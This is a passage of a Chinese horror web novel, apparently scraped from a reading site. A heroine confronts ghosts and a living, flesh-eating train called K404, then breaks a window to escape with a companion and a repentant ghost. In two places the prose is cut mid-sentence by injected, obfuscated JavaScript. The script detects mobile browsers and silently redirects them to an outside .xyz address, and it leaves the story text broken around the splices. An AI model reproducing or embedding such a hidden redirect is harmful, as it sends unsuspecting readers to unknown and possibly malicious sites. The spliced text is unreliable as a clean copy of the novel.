“这很正常,毕竟死亡是你们的宿命。只要有人类进入这个怪谈世界,这辆火车就会重新变回正常车厢。正常车厢慢慢缩短,直到人类全部死亡。”焦炭人说,“但你要知道,把火车停下来,无论是人类还是我们鬼怪,都会死掉。” 今浅不语。 焦炭人看见今浅仍然握紧方向盘,不由得有些焦急,说:“这事是真的!我们对你的生命可以漠不在乎,但对我们自身的性命可不会不放在心上的。” “车继续开着,我迟早会死。车停下来,我们都会死。”今浅说,“既然我早晚都是死,那么,为何我不选择同归于尽呢?” 今浅看向焦炭人,后者畏畏缩缩,不敢和她对视。 “让你们的老大过来。”今浅说,“我要和它谈判。” “……” 短暂的沉默后,焦炭人突然变了一个神情。 只需要看一眼,今浅就知道,花旧笑来了,或者说,是附身在这位焦炭人身上。 “没想到你看起来蠢蠢的,心肠却如此恶毒。”花旧笑咬牙切齿。 要不是它慢了一步,这个人根本就没有到达火车车头的机会。 当花旧笑选择操控别人的时候,花旧笑是无法附身在焦炭人身上,只能感知到焦炭人出现的情况。 也就是说,它一直都感觉到今浅他们的动作,但是它不以为意。 这些人再怎么跳腾,也迟早是要进入它肚子里。 可没想到,今浅等人居然会对火车车头下手。 直到火车车头的大门被破坏了,它才意识到有些不妙,事情也许脱离了它掌控的范围。 “咦,我的心肠也会有毒吗?”今浅说,“那我这么久都没有被毒毒死,是不是可以说明,我其实是书上说的,天选百毒不侵之身。” “我是在骂你,不是在夸你!”花旧笑气急败坏。 “咳咳,现在请你摆正你的态度。”今浅说,“我手上掌握着你和我的生死大权,如果不想殉情的话,那就好好说话。” “滚啊!谁要跟你这种家伙殉情?!” 它想活得长长久久。 “啊,看来我被爱判处终身孤寂了。”今浅叹气,但是微微扭转了方向盘。 火车慢慢减速。 花旧笑察觉到不对,心慌了。纵使被气得头脑不清醒,但碍于今浅的威胁,只能咬牙把眼下的仇咽进肚子里。 “别,咱冷静点,不要做出这种冲动的傻事。”花旧笑说话的声音都像是从牙齿里挤出来的。 它一直以来都是指挥别人的份,从来都没有低声下气,乞求别人的时候。 等到它逮到机会,它一定要把这个人,碎!尸!万!段! 今浅看见花旧笑这个反应,估摸着自己手里的方向盘确实是可以威胁到它的存在。那么它说的,大家都会死,确实是真的。 同归于尽,是下下策。 她必须得再找出能够离开的法子。 好在它附身的焦炭人,一时半会儿被锁在安全带里。要不然,今浅真的觉得它会直接上手过来挠自己。 “让后面的焦炭人撤走,不要伤害我的同伴。”今浅说。 “好呀。”花旧笑迫不及待地答应了。 今浅却察觉到了一丝反常。 “你把他们怎么了?” 今浅看出来了,按照花旧笑的性格,想要让它答应一件对它不利的事,它一定会不情不愿好久。 “你问的是哪一个?” 花旧笑说。 “如果你把它们都吃掉了,那么你的实力一定会大增,想要把我除掉是轻轻松松的。可是现在你并没有,甚至好言相劝,想让我停下来。”今浅说,“你还没来得及吃掉他们吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095785|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那也是早晚的事了。”花旧笑这回没有藏着掖着,它说,“你派过来拖延我的那两位,一个死了,一个侥幸逃走了。而你门外的同伴……呵呵,焦炭人的威力,你刚才也是领略过的。包括你,你早晚会被吃掉。” 今浅回头,从门中的洞看向外面,不知何时,外面的焦炭人已经没了动静。 “今浅啊今浅,你怎么会这么天真,愿意跟其他陌生人合作呢?”花旧笑说,“现在好了,所有人都把你卖掉,只有你自己一个人在这里无力挣扎。真可怜。” “是啊,我好惨啊。”今浅一边扭转方向盘,说,“既然如此,那我们就一起……” “诶,等等……”花旧笑叫停,“我说的是真的,但也许有那么一两个活着吧。我现在正跟你聊天着呢,也不知道外面的情况。” 门外的焦炭人又聚在一起,不知道在干什么。 “是吗?”今浅垂下眼眸。 “是啊,是啊。”花旧笑连忙说,“所以,你赶紧松开手吧,我会给你离开的机会。” “哦?”今浅说,“真的会让我离开吗?” “真的真的。”花旧笑嘴上这么说,心里不屑的冷笑。 画大饼谁不会啊? 可是,今浅只是握紧了方向盘,说:“我不相信你。” “为什么?” “因为书上说了,见人说人话,见鬼说鬼话。” 花旧笑是鬼,说的自然是鬼话,而鬼话不可信。 “你……不要敬酒不吃,吃罚酒!”花旧笑绷不住了,终于发令,让火车车头门外的焦炭人全部都冲进来,阻止今浅。 浩浩汤汤的焦炭人成群结队,往火车车头的门上撞击。 但是他们既没有今浅有力量,也没有她手中的棍子坚硬。 因此撞了半天,换来了它们支离破碎的身体。 今浅心里松了口气,说:“这个车门只有开里面的锁才能行。” 然而现在,车门外的焦炭人伸不进来,车内的两位焦炭人,一个被锁死在座位上,另一个失去了双手。 两位都构不成难度。 下一秒,今浅就听见了“咔嚓”一声。 失去双手的焦炭人狞笑着,竟然用嘴巴咬开了车门的锁。 今浅:…… 这就很灵活了。 刹那一瞬间,无数的焦炭人全部涌进了车头,争先恐后,想要把今浅从方向盘上薅下来。 今浅只感觉自己的皮肤被高温灼烧着,呲呲作响的同时,还有悠悠升起的白气,诱人的烤肉香顿时蔓延整个车厢,今浅肚子饿了的同时,也让她有一种,自己其实是烤箱里正在烘烤的烤鸭的错觉。 “这么能忍痛?但这又如何呢?你迟早是要被我们吃掉的!”花旧笑说。 饶是经历着如此煎熬的折磨,今浅免伤仍未有任何表情。 “不能停下来,也不能放手。但我有一个办法,可以让你们无法吃我。” “在做什么梦呢?照这个速度,不到五分钟,你绝对死的!” “五分钟?那时间还挺多的。” 今浅咬紧牙关,不顾焦炭人的阻拦和身上的疼痛,也要做出这一决定她生死的动作。 15. 第 15 章 刚才抢夺方向盘的战况太过激烈,现在方向盘已经卡死,火车速度一直保持着告诉,无法下降。 这时,今浅的脑海里突然响起一道声音。 【被动技能:名刀司命(已激活)】 今浅稍微放下心来。 当务之急,是趁着这个来之不易的白天,继续调查车厢的线索。 她撑起身站起来,长时间没吃东西让她头有点晕。 今浅不得不搀扶着墙,一边探索火车头。 刚才跟花旧笑对峙的时候,她根本没有机会好好的找线索。 按照火车操作手册的操作提示,今浅调出了,火车长对外求助的历史记录。 【k404智能体:xx年x月23日14:23,K404部分车厢因不明原因起火,请求支援。】 [收到,支援很快就到!] 【k404智能体:xx年x月23日14:35,k404列车电路中心因遭受不明原因的攻击,为了保护乘客,封锁车厢。】 3分钟后,k404电路系统出现故障,人类无法取得外界的联络。 此后便没有下文。 今浅若有所思,扶着墙,走出火车头。 外面车厢的战况不比火车头里面的差,到处是废墟,空无一人。 看来其他人凶多吉少了。 今浅扶墙,准备先去其它车厢搜索时,突然听见一道奇怪的声音。 “谁在那里?”今浅看向声源。 “……是我。” 是陶依的声音。 她正躲在一个被废物堆叠起来的角落里。 那个地方非常隐蔽,易守难攻,就连奇形怪状的焦炭人也进不去。 “你还活着?”今浅惊讶。 她还以为,这条火车只剩她一个人了。 “是的……要不是闻啼为了保护我,把我塞到这个角落,自己去跟焦炭人拼命了,我也不会活到现在。”陶依语气低落,从其中钻出来,“都怪我无能,眼睁睁地看着他被焦炭人杀死。” “看来他还挺有绅士精神的,就算在生死面前,也秉持着‘女士优先’的宗旨。”今浅见陶依出来,就钻进去,看看能否搜到线索。 “我找过了,什么都没有。”陶依说,“要是我再勇猛一点,就像你一样力大无穷,那就好了。” “现在不是自怨自艾的时候了。”今浅说,“在我们存活的最后一个白天里,我们必须要找到离开的线索。” 据她观察,在下一个夜晚来临的时候,花旧笑恐怕会真的无敌。 陶依应了一声,沿着今浅指的方向找线索。 余光中,今浅看见角落里,一道银白色的光芒一闪而过。 今浅趴倒在地,伸手去够,摸索着形状,大概是一个素圈戒指。 “今浅,你找到了什么线索吗?”陶依的声音在今浅背后响起,“我这边好像找到了一个课本。” “啊,没什么,我只是看看这个姿势能不能把我手臂上错位的骨头纠正。”今浅若无其事地收回手,微攥紧手,动作很连贯,“以后不要随便把自己的手弄骨折,也不要自己给自己正骨。没有专业人士的指导,我现在还感觉关节很痛。” 好在戒指很小,不容易被发现。 除了这个素圈戒指,今浅什么也没找到。 “谁让你呈强。我还真以为,你正骨成功了。”陶依递给今浅一本小学课本,翻开其中的一页,说,“这本书被烧得七七八八了,但有一句诗是完整的。我猜,这就是我们离开的线索。” 今浅念出声:“人面不知何处去,桃花依旧笑春风。” 她顿了顿。 人面不知何处去,对应到进站时的无面人和红眼鼠头人。 花旧笑也已经出现了。 那么,只剩下春风。 “怎么样,你有想法了吗?”陶依迫不及待地问。 “嗯。”今浅若有所思,“如果这个线索是真的,那么我们只需要找到‘春风’就行了。” “可是这里哪里来的风?”陶依说,“空调这些出风装置都坏掉了。” “也不一定,非得在火车里面找。”今浅说,“这是古诗。书上说了,在古代,春也属于东方。所以春风实际是东风。” “东风?难道我们要草船借箭?”陶依不确定,“这里没有船,没有草,没有箭,没有曹操和诸葛亮。” 今浅说:“我有一个猜想,但是要先去认证。” 她起身,抬脚离开。 陶依小步跟上,问:“难道说,‘春风’在后面的车厢吗?” “啊,不是。”今浅说,“我只是想找吃的。” 陶依:…… 今浅不知道怪谈世界和现实之间的时间流速关系。 但是她确实长时间都没吃东西,身体很累。 今浅现在只觉得,焦炭人在她身上造成的伤口,散发着诱人的焦香味。如果不是自己用强大的自制力控制自己,自己很有可能会自己啃自己。 好,停下,不要再想了。 今浅冷静打断脑海里的思路。 再想下去,她就要真的啃自己了。 见陶依一脸无语,今浅好奇:“你难道不饿吗?” “不饿。”陶依说,“正常人一看见那些尸体,就没有任何的食欲。” “我其实很正常。”今浅说完,停下脚步。 她们已经走到头了。 现在的火车只有两节车厢,和连接两节车厢的贯通道。 这节贯通道正好有一个乘务员休息室,旁边是一个挂着黄牌子的厕所。 今浅站在车门旁,左侧的车窗里,装着一片绿油油的树林和橙色的太阳。太阳很小,很亮,就像一个逐渐没气的气球。 但让今浅关注到的,是右边的车门。 这扇车门的玻璃很奇怪,外面结满了厚厚的蜘蛛网,而即使火车以现在最高的速度运转,这些白色的蜘蛛网也没有任何被甩掉的迹象,甚至几近遮挡了车窗的视线。 今浅抬手摸了摸,触感一片光滑。 “这里怎么这么脏啊,到处都是血。”陶依在旁边没有下足的地方,有些嫌弃。 “是拖把的问题。”今浅转身,看着地板,蹲下来,指着其中规整的纹路,解释,“我做家务的时候,拖不干净地的时候,就会这种 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“我们是不是……找错方向了?”陶依放下手中的东西,抹去额头上的汗水,艰难开口。 “不会的。我地理可是全班第一,方向感肯定好。”今浅又试了几次,依旧砸不开。 陶依说:“你班上有几个人?” “1个。”今浅说。 陶依沉默。 “砸不开,那正好说明,我的想法是对的。”今浅说,“只有我们,是砸不开的。” “什么意思?”陶依随口一说,“难道要让焦炭人它们砸?” “嗯。”今浅点头。 陶依:…… “那群鬼怪对我们的仇恨值有多高,你知道吗?”陶依说,“如果不在白天离开,到了晚上,我们就真的离不开了。” 今浅说:“没想到你这么在意我的死活,真是太令人感动了。” “我在意的是我俩的死活。”陶依顿了顿,说,“毕竟,我们可是经历过生死之交的,好朋友。” 今浅说:“那行,等会儿你去引诱焦炭人,我去跟花旧笑对峙。” “我不想面对焦炭人。”陶依抢在今浅开口前,补充,“我也不想面对花旧笑。” 今浅这下明白了陶依的用意。 “那,你的想法可能要落空了。”今浅说。 “?为什么,我们不是好朋友吗?你忍心看着柔软可怜的我,被那群鬼怪欺负吗?” “倒也不是这个原因。”今浅抬头。 火车还没有进入隧道,但是头顶上的车灯,已经不知何时,自动亮起来了。 陶依只觉得四周的空气变得冷了很多,她下意识摸了摸手臂,正想再跟今浅说些话的时候,今浅开口了。 今浅看着她,说:“因为,现在已经进入黑夜了。” 陶依汗毛直立。 她这才发现,今浅其实并不是在看她,而是在看她的身后。 身后那节即将消失的车厢,若隐若现,有一个人影。 花旧笑。 16. 第 16 章 陶依小跑几步,“嗖”的一声蹿入今浅的背后。 今浅手心的戒指剧烈地抖动,似乎是让她快逃。 今浅微微握紧戒指,心里叹气。 她也很想逃。 可是她逃不掉。 “你是第一个能活着走到这里的人。”花旧笑看着今浅说,“不过很可惜,也只能走到这里。” 和第一次见到花旧笑的样子不同,现在的花旧笑已经不具备寻常焦炭人拥有的外形。它焦炭的骨架上,已经长出了新鲜的肉块,就像纵横交错,随意在外表糊上的泥土。 在这最后的一夜,它的实力大涨。 “谢谢你的夸奖。”今浅说,“不过你看,我都是第一个走到最后一步的人了,要不你先放我一马。我回去后,给你五星好评和20字的不重复评论。” 她还记得,自己买的那些书,都会附带一张红色的小卡片,上面就印刷着“满意的话,客官可以给个五星好评和20字纯文字不重复的评论哟~”这句话。 这个行为肯定很重要,否则卖家不会单独把它印出来。 “想得美!”花旧笑愠怒,“你以为这怪谈世界是旅馆,想来就来,想走就走的吗?” “那能是饭店吗?”今浅想努力挣扎一下,说,“如果是饭店的话,我会看在你的面子上,分期付款五星好评。” 花旧笑被今浅的话噎了一下。 “你这是在挑衅它吗?”陶依小声问,“特地在它面前说这么冒犯的话。” 然后让花旧笑生气,最终活活被气死? “啊?怎么会。”今浅挠头,不解,“我说的是真心话。” 她可是从乡下来的老实人,从来都不会撒谎。 花旧笑见两人一唱一和,轮番阴阳怪气,它终于忍不住了,大手一挥,冷声说:“是你们逼我的!” 话音刚落,今浅只觉得车厢内的温度节节攀升。 车内的空气似乎被热浪扭曲了,墙壁在融化,门在融化。无形的火焰蚕食着车厢里的一切。 今浅暗道不妙,转身想打开厕所门,然而厕所门就像被焊死了一样,一动不动。 “来吧,来陪我吧,来成为我们中的一员吧。”花旧笑摊开手,像是在隔空拥抱。 它站在原地,冷眼看着今浅等人的挣扎,缓缓说,“一起来体验一下,我们临死前的痛苦吧。” 在清醒的时候,感受火舌的灼烧,有毒物质侵害身体的内脏,眼睁睁着看着死亡逐步逼近,而自己无可奈何的痛苦。 “这节车厢越来越热了,再这么呆下去,我们迟早会被热死……咳咳。”陶依掩住口鼻,“我们现在怎么办?” “先蹲下来。书上说了,发生火灾的时候,我们要尽量降低自己的身位。同时,要用湿润的毛巾盖住自己的口鼻。”今浅捂住口鼻,蹲下。 “毛巾我们没有,不过身上的衣服就可以当作毛巾。”陶依说,“但是,我们没有水。” “不,我们有的。”今浅说完,伸手咬破了自己的食指。 人体里,有70%是水分。 鲜血缓缓流出来,掉了几滴,在落到地上几秒后,慢慢蒸发。 空气中的温度似乎下降了一点。 “可是这血太少了。”陶依说,“这得让我们身上的血液全都流干才行。” 而她们流干了血,反而正好正中花旧笑的心思。 “我也没说,只有这一点,我们就一定能活下去。”今浅刚想移动几步,却发现自己的鞋子不知何时,粘在了火车上。 今浅低头,火车的地板就像是深不见底的沼泽,而她在慢慢陷进去。 今浅猛然抬头,发现花旧笑的双腿也陷入了火车地板,可是花旧笑的面上没有波澜。 K404号火车经历燃烧后,为了自保,准备吃了在场的所有物体。 今浅暗道不妙。 当务之急,必须是让花旧笑冷静下来,再让它配合打破车窗。 “你这样也会死的。”今浅说,“为了杀掉我,你也得跟着一起死,你不觉得,这很不划算吗?” “这不挺好的吗?”花旧笑说,“用你的话来说,这叫殉情。不求同年同月同日生,但求同年同月同日死。” “……” 今浅沉默。 谢邀,但她不想殉情。 今浅想活着。 “我没做错什么。”今浅说,“我只是普通的乘客,登上进城的火车,怀揣着对未来美好的憧憬,跟生前的你们一样。” “那我们做错了什么?”花旧笑吼道,“我们也曾是普通的乘客,毫不知情的登上k404列车,结果被带有私人恩怨的大火烧得一干二净,只剩渣渣。” “你想我们体谅你,那谁来体谅我们?凭什么我们生下来就得在穷乡僻壤,被进城打工的父母抛弃的。而在死前,我们等待着迟迟未来的救援,我们再次被抛弃?” “凭什么一而再再而三被抛弃的是我们?凭什么死的是我们?” “从我们被困在这辆火车的那一刻,葬身于火海的那一瞬间,我们就一直在思考,在反思自己到底做错了什么。一直在想啊想,想啊想。到了现在,我们终于知道一件事,我们其实什么都没做错。错的是抛弃了我们的你们。” 花旧笑诉说着它们内心的怨恨,不甘和委屈,字字泣血,泣不成声。 “其实你们并没有被抛弃。”今浅说。 “你撒谎!” “我没有。”今浅说,“你知道靠边站吗?” “……靠边火车站,是么?” “嗯,这是上车的站点。”今浅说,“当时我差点被骗,差点丢脸,但这不是重点。我曾经在靠边站里看见了一面墙,上面贴了很多的告示,有寻人启事,有事故通报的告示。” 今浅凭借着记忆,报了一串名字。 花旧笑沉默。 空气的温度低了一些,没有,刚才那么焦灼。 “如果我没猜错的话,这里面的名字,应该有你吧。”今浅说,“早一些的是寻人启事,晚一点的是火车站发表的讣告。” “你们并没有被家人抛弃,你们的爸爸妈妈还是爱你们的……” “不可能!”花旧笑一口否决。 “怎么不可能?”今浅说,“要知道,那些寻人启事上,各种描述非常的真实具体,就连屁股上有几颗痣都记得一清二楚。如果不是把你们放在心上,他们肯定不会知道这么多的细节。” “……这又能说明什么。”花旧笑别过头,声音发抖,说,“迟来的安慰吗?” “你不信,就随便问几个。”今浅说。 “……张三。”花旧笑说。 “左脸有一块青紫色的胎记,体格比较瘦小。” “李四。” “有点瘸腿,脖子前倾,且偏头,右手的小指微微弯曲 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缺水,自然就没有眼泪,也就无法哭出来了。 “……有的时候,我真想狠狠骂你。你嘴可真是欠。”花旧笑深吸一口气,但却并没有像之前那样暴躁。 它小声安慰自己,道:“算了,反正我们都是要死的,我就大鬼有大量,不跟她这种小人计较。” 今浅和陶依努力挣扎,想要离开地板的吞噬,然而不仅白费力气,徒劳无功,反而越陷越深,地板已经几乎没过大腿。 “别挣扎了,没人会来救我们,这是个不争的事实。”花旧笑轻声说,“这是仿照火车遭受火灾时候遇到的情景。当时没人来救我们,现在也不会有。” “不对,外面其实有人来救。”今浅说。 花旧笑顿了顿,又看向今浅。 今浅指着先前发现的那扇特殊的车门,说:“那扇车门外边结满蜘蛛网,是因为,外面前来救援的人就是从这块玻璃下手,准备砸开车门,救你们出来。” 然而,可能是因为,玻璃质量太好,太厚,没有来得及砸穿,也可能是因为,K404智能体的锁太坚固,总之里面的人到最后,依旧没有被救出来。 “如果当时有人看见这个地方,把这扇窗户打破,说不定你们就有救了。”今浅说。 “知道这,又有什么用呢?”花旧笑垂头,低声说,“我们最后还是死了。” “当然有用。这是我们一起活下去的出路。”今浅说,“既然生前无法打破玻璃,那么现在趁我们半死半活的时候,就不要再错过这个求生的机会了。” “……什么?”花旧笑猛抬头。 眼前的女人,明明已经半身入“土”,明明自己都动不了了,居然还有心思想这么多? 它本以为,是靠着运气活到最后,甚至一开始都不放在眼里的女人,此刻向它伸手,说:“我们,一起打碎这个玻璃,从这里逃出去。” 这是平生第一次,花旧笑并没有被抛弃。 真是疯了。 它堂堂鬼怪,去帮人类? 说出来都丢它鬼的脸。 话虽如此,花旧笑只觉得眼睛酸酸的。 “好。” 它听见自己的声音。 17. 第 17 章 火车地板已经吞没过腹部了。 许多的座椅从今浅旁边路过,就像是拍打到墙壁上的浪花。 今浅借着火车墙壁上的扶手,成功攀上了其中之一。 陶依和花旧笑也效仿她,站在高矮不一的椅子上。 但这也只是缓兵之计。 今浅脚下的椅子加快了融入地板的速度。 “时间不多了。”今浅说,“我们速战速决。” 花旧笑抄起旁边的杂物,锤向那块玻璃。 “砰……” 第一下,玻璃窗迅速变白,就像结满冰凌花的窗户。 “这招真的有用!”陶依惊喜,但她还来不及再说什么,突然之间,天摇地动,伴随着震耳欲聋的呜鸣声。 “呜——” 是火车,正在长鸣。洁白的蒸汽并没有排向车外,而是在车内氤氲,就像是躲在火车顶上的云。 它像是一只灵巧的鱼,钻出水面,一跃入空中。 “大家扶稳了,不要掉下来。”今浅眼疾手快,抓住了旁边的栏杆。 几乎是话音刚落的下一秒,今浅只感觉自己被狠狠地抛向了空中。 她的双脚离开了地面,身体几乎和地板平行,就像颠锅时,瞬间腾空的肉块。 火车…… 在飞。 这个猜想划过今浅的脑海。 她还来不及好好品味这个奇怪的猜想,下一刻,今浅就被狠狠地摔落回地。 好在今浅从头到尾都没有松开自己的手。陶依和花旧笑也及时抓住固定在身边的物件。 现在回落的时候,大家仍然在椅子上。 “没想到有朝一日,我也能飞上天,和太阳肩并肩。”今浅说。 “可是这辆火车,怎么突然飞天了。”陶依说。 两双眼睛落在花旧笑的身上。 怪谈世界里诡异的事情,自然是要问问土生土长的鬼怪了。 “别问我,我不知道。”花旧笑说。“我不是跟你说过了吗,你是第一个走到这一步的人。” 所以后面会发生什么,它也不知道。 “不管了。我们再试几次。”今浅说,“这辆火车表现得这么诡异,像是想阻止我们砸窗。这至少可以证明,我们的推测出来的想法是对的。” “那我们得加快速度了。”陶依指着地面,说,“地面好像在加快吞噬的速度。” 火车的地板皱在一起,就像是深灰色的小肠。 花旧笑再次砸向车玻璃。 这次,玻璃凹陷成一个坑,掉了几层洁白的碎屑,但中部依旧完整,被砸成大小块的玻璃依旧藕断丝连。 大家还来不及欢呼,就只觉得一阵天旋地转。 今浅只觉得自己的手一松。可是她分明没有松开握紧墙壁栏杆的双手。 她低头,发现栏杆被自己拔下来了。 或者说,栏杆并不是被她拔下来的,而是它跟着墙壁自然而然地脱落的。 “火车……火车变异了……你们快看!”陶依惊慌失措的声音响起。 今浅抬头,一块墙皮擦着她的脸,掉到了地上。地上的地皮也因褶皱,东一块,西一块地破裂,露出里面鲜红、滑嫩、小幅度震颤的内在,其中穿插着许许多多的黑线,恍若缠着肉块的黑发。 星星点点的墙皮纷纷扬扬,如同雪花,轻盈落下。 这辆沉默已久,负重前行的K404火车,终于露出了它最真实的样子。 一条,正在蠕动的,伪装成火车骗人上车的,红色蛆虫。 而他们,就在这条蛆虫的肚子里。 “呕……”陶依没忍住,干呕了一声。 “原来,火车是活的。”今浅说。 灰色的地皮淹没了今浅的双腿,足底的肉块在震颤,让今浅不合时宜地想到自己以前在电视上看到的足底按摩桶广告。 区别在于,被按摩桶杀死的几率不到1%,而她在这辆火车存活的几率不到1%。 K404是怪谈,是活的。 它没有思想,只凭本能狩猎。 谁也不知道,它是什么时候出现的,又是什么时候伪装成火车。 只知道,自从K404号列车遭受火灾之后,这辆幽灵般的火车,悄无声息地吃掉一波又一波的人类。 焦炭人、影子怪等等鬼怪,就像是寄生在肠道里的微生物。 它们以为自己是人类命运的主宰者,吃着人类,却不曾想,必要的时候,它们也会成为怪谈自身力量的源泉。 鬼怪吃人类,怪谈也在吃人类。 怪谈还会吃鬼怪。 K404火车发生了翻天覆地的变化,唯一没有变的,就是那面窗户。 只需要花旧笑再给窗户一击,那面窗户就会彻底粉碎,成为一个大洞。而今浅等人就能成功离开了。 可就在这时,变故发生了。 花旧笑突然捂住头,身上的血肉在以意想不到的速度迅速消失。 “我的力量……在消退。”花旧笑咬牙说。 “这辆火车正准备停下。”陶依说,“怎么回事?明明我们也没刹车啊。” “要不你……”今浅话还没说完,就被花旧笑打断。 “你说得对。我们之前已经错失了一次机会,那么现在,我们绝对不会放弃这个机会。”花旧笑固执地抄起手上的东西,一遍又一遍地砸向那扇玻璃。 “砰……砰……砰……” 力量衰退的速度远大于它砸玻璃的速度。 花旧笑这么做,只是杯水车薪。 今浅像是想到什么,突然回头。 在车门的对立面,那扇乘务员休息室的大门不知何时,已经开了一个缝隙。 而乘务室旁边的厕所大门,则是大敞开着。 里面堆满了尸体的皮囊。 一个人浑身鲜血,衣衫褴褛,但脸上带着喜悦的笑容。而在他旁边,是一个浑身湿漉,黑发如枯草般的,水鬼。 那个人,是梁团。 “你怎么在这里?”陶依震惊。 “你是想问我,为什么还活着,对吗?”梁团已然不顾体面,两只手臂已经变成了白骨。他却浑然没有感觉,只是哈哈大笑,说:“那当然是因为,我跟它,达成了交易。” “它是谁?”陶依疑惑。 但今浅明白是谁。 是厕所里的,水鬼。 水鬼保了他一命,从花旧笑的手中救出了他。而作为回报,他把死去所有人的尸体全都搬进了厕所。而这几天,他一直躲在乘务室。 “现在,现在你能兑现你的承诺了吧。”梁团早已陷入疯狂之中,他挥舞着手臂,半是祈求,半是商量地说,“让我走,让我离开这个该死的地方!” 水鬼看着他,不作声。 梁团的声音慢慢弱下来。 水鬼突然笑了一声,说:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111384|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么会这么天真,相信鬼说的话呢?” 梁团的脸瞬间煞白。 “你言而无信!” “你们人类真奇怪。”水鬼说,“不相信自己的同伴,甚至怕自己的同伴背刺自己,提前害死自己的同伴。反而相信跟你们不是同类的我们,这群鬼怪。” “但我也要谢谢这样的你们。”水鬼说,“要不然的话,我也不能趁虚而入,获得力量出来。” 梁团双腿发软,他“扑腾”一声倒在地上,呼吸剧烈。 他想爬回乘务室,却发现不知何时,自己的双腿却被钉在了厕所,无法移动。 梁团慌张。 他动不了了! 水鬼看出了他的疑惑,笑了一下。 “如果你一直呆在乘务室里,我确实没有办法杀你。”水鬼说,“但是现在,很可惜,你出来了。” 梁团还没有反应过来,只觉得心口一阵刺痛。 他迟钝地低下头,发现自己的胸膛不知何时,破了一个洞。 血像是一条凝实的线,另一端是水鬼。 梁团以意想不到的速度,迅速干瘪。 今浅突然想到之前焦炭乘务员问的一个问题:“为什么,火车叫火车呢?” 火车有火,才能前进。 如果没有火,那么自然…… 水克火。 水鬼吃了更多的尸体,力量强大,花旧笑的力量,自然就越来越少。 但是,淹死她的水,在哪里呢? 今浅似乎回到了之前的火车厕所。鼻腔酸软,四肢乏力,大脑昏涨,就像溺水时的前兆。 在视线朦胧的前一刻,思绪混乱一刹那,今浅只觉得世界变得白茫茫的。 头顶的车灯似乎变得和厕所里的车灯一样,冷白的,澄澈的—— 等等,澄澈。 今浅猛然清醒,抓住这道转瞬即逝的灵光。 是的。 光是澄澈的。 澄澈的是水。 光是水。 光是淹死她的,潮水。 “原来如此。”今浅喃喃道。 难怪没有水淹没她,她却分明地感受到因水产生的窒息。 因为淹没她的,一直是,灯光。 一开始,光只有几十厘米深,今浅撑着墙,站起来,还能勉强应付得了。 可很快,光溢满了大半个火车,她们不得不踮起脚。 “我们必须得……打破玻璃。”今浅背后是那扇摇摇欲坠的车窗,今浅心有不甘。 【做个交易吧。】 那个一直以来,默不作声的图鉴突然开口说话。 这次,今浅没有拒绝。 今浅说:“你能使用‘无面人’的技能吗?” 她现在还有一个办法,但是不得不用到这个技能。 图鉴笑了一下。 【当然。但是代价,必须是你的,鲜血。】 “好。”今浅咬破手指,流出的鲜血就像几缕长长的红线。红线穿过手心那枚素白的戒指,碰到书包后,却晕染成一片。 还好现在车厢内到处都是红色的肉块,没人注意到她的动静。 迅速失血,让今浅的脸变得比鬼还难看。 【你只能变一次,想变成谁的脸?】 今浅看着水鬼。 她只有一次赌命的机会。 今浅笑了一下,缓缓开口,说出了那个人。 18. 第 18 章 水鬼并不知道今浅和图鉴的交易。 “我自然是不会让你们离开的。”它说:“终于,我等到这个重要的时刻了。只要我把你们全部吃掉,我就可以代替这个恶心的焦炭人,成为这座列车的主宰了。” 没有人能制止它。 只是,突然,水鬼察觉到一道熟悉的气息。 那股气息很弱,就像是水中的泡沫,轻轻一戳,就会荡然无存。 可就是这么微弱的气息,水鬼只觉得自己内心的怨恨,不甘,愤懑喷涌而出。 都怪眼前这个人。 如果没有这个人,它就不会鬼迷心窍,想要杀人。 它也不会气急攻心,没控制好汽油的量,把整条列车都烧了。害得自己不得不躲在厕所里,就像一只孤魂野鬼。 “凭什么?!”水鬼尖叫着。 “凭什么你还能活着。而我就变成如今这种不人不鬼的模样!” “都是你的错!” 它几乎不假思索,所有的头发统一听从水鬼的调令,朝着它日日夜夜盼望着死的人影攻击。 今浅也不好受。 戴上面具后,她只觉得自己的脸就像有一把烈火在燃烧。痛觉从神经直逼大脑,让她几乎都忘记自己是谁。 一行血字正在今浅的视野里。 【戴上面具久了,就会摘不下来。】 今浅能感受自己的理智值飞速流逝,自己要与面具融为一体。 “光在嘴上说,有什么用。”今浅说,“有本事,你就亲自来杀我呀。” “找死!我满足你!” 从面具的小孔里,今浅看见,水鬼果真被激怒得朝她飞来,它扬起一个攻击,整个车厢都几乎为止震颤。 显而易见,这个凝聚着水鬼所有力量的攻击,直直朝今浅前来。 今浅没有躲闪。 她有底牌。 【已触发被动:名刀司命(抵御1秒以内的所有致命伤)】 【被动:名刀司命,陷入冷却中(cd:48h)】 水鬼只感觉自己的攻击碰到了一个坚硬的物体,然而身体出于惯性,仍然向前偏移。 它抬手想阻止自己的前倾,却意外发现,前面支撑的地方,是一块块将碎未碎的玻璃。 当水鬼的手碰到玻璃的那一瞬间,玻璃发出了清脆的碎裂声响。 声音很小,但是在场的人,都能听见。 这扇玻璃,终于碎掉了。 水鬼不以为意。 它正想再次凝实力量,却不曾想,自己手中的力量正在以一种意想不到的速度迅速流失,就跟刚才花旧笑经历的一模一样。 “怎……怎么回事?”花旧笑愕然低头,寻找着自己力量流逝的来源——那扇,被它亲手打碎的,玻璃。 